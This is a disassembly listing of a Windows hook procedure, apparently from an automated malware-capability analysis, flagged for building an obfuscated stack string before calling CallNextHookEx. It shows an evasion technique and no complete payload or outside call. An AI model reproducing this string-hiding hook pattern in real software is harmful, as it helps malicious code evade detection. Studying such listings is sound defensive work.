Function at 0x1003dc2f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd38
mov eax, 0x1006d8e4
call fcn.1003f0ef
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.10041970
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.10033682
push eax
lea ecx, [ebp - 0xc80]
call fcn.10030609
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1003dfc9
cmp dword [edi + 8], 0x4a
jne 0x1003dfc9
mov esi, dword [edi]
test esi, esi
je 0x1003dfc9
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1003dfbb
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
push 0x64
pop eax
mov byte [ebp - 0xcd2], al
mov ecx, 0x30a
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xc94], al
mov byte [ebp - 0xc8c], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov byte [ebp - 0xc84], bl
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd34], 0x6d637a4c
mov ecx, esp
mov dword [ebp - 0xd30], 0x2f303242
lea eax, [ebp - 0xc84]
mov dword [ebp - 0xd2c], 0x79303347
mov dword [ebp - 0xd28], 0x354d5848
push dword [ebp - 0xc84]
mov dword [ebp - 0xd24], 0x3356324d
push eax
mov dword [ebp - 0xd20], 0x414d5149
lea eax, [ebp - 0xd34]
mov dword [ebp - 0xd1c], 0x41675142
mov dword [ebp - 0xd18], 0x6d637a43
mov dword [ebp - 0xd14], 0x5041785a
mov dword [ebp - 0xd10], 0x4b386a50
mov dword [ebp - 0xd0c], 0x544d4449
mov dword [ebp - 0xd08], 0x34344444
mov dword [ebp - 0xd04], 0x75457841
mov dword [ebp - 0xd00], 0x4445574a
mov dword [ebp - 0xcfc], 0x43345246
mov dword [ebp - 0xcf8], 0x314d675a
mov dword [ebp - 0xcf4], 0x6d344348
mov dword [ebp - 0xcf0], 0x7173534c
mov dword [ebp - 0xcec], 0x684a4442
mov dword [ebp - 0xce8], 0x3863674f
mov dword [ebp - 0xce4], 0x62494249
mov dword [ebp - 0xce0], 0x61736a49
mov dword [ebp - 0xcdc], 0x3242544c
mov dword [ebp - 0xcd8], 0x50634444
mov word [ebp - 0xcd4], 0x5348
mov dword [ebp - 0xcd1], 0x686a4935
mov dword [ebp - 0xccd], 0x4558416b
mov dword [ebp - 0xcc9], 0x4d524232
mov dword [ebp - 0xcc5], 0x63584178
mov dword [ebp - 0xcc1], 0x41424130
mov dword [ebp - 0xcbd], 0x68774a63
mov dword [ebp - 0xcb9], 0x78334267
mov dword [ebp - 0xcb5], 0x6b784b2b
mov dword [ebp - 0xcb1], 0x51794972
mov dword [ebp - 0xcad], 0x55476349
mov dword [ebp - 0xca9], 0x4d324769
mov dword [ebp - 0xca5], 0x55774a63
mov dword [ebp - 0xca1], 0x59524b54
mov dword [ebp - 0xc9d], 0x6f534d52
mov dword [ebp - 0xc99], 0x6f415036
mov byte [ebp - 0xc95], 0x68
mov dword [ebp - 0xc93], 0x44636747
mov word [ebp - 0xc8f], 0x3041
mov byte [ebp - 0xc8d], 0x71
mov dword [ebp - 0xc8b], 0x41416b51
mov word [ebp - 0xc87], 0x4241
mov byte [ebp - 0xc85], 0x30
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1002fda3
lea eax, [ebp - 0xd44]
push eax
call fcn.10032cc8
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1003c884
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.10033171
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd44]
call fcn.1003c6ca
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.10041970
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.10030782
lea ecx, [ebp - 0x50]
call fcn.10030851
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.10031710
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10031710
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.10031710
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xc84], esp
push esi
call fcn.10030782
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.100306f4
mov byte [ebp - 4], 3
call fcn.10038959
add esp, 0xc
call fcn.1004970a
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1003dfae
lea eax, [ebp - 0x50]
push eax
call fcn.1003760c
pop ecx
lea ecx, [ebp - 0x50]
call fcn.1003139a
lea ecx, [esi - 0x10]
jmp 0x1003dfe0
cmp eax, 0x4d835
jne 0x1003dfc9
push ebx
call fcn.1003b1c0
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.100372ea
call fcn.1003f03c
ret 0xc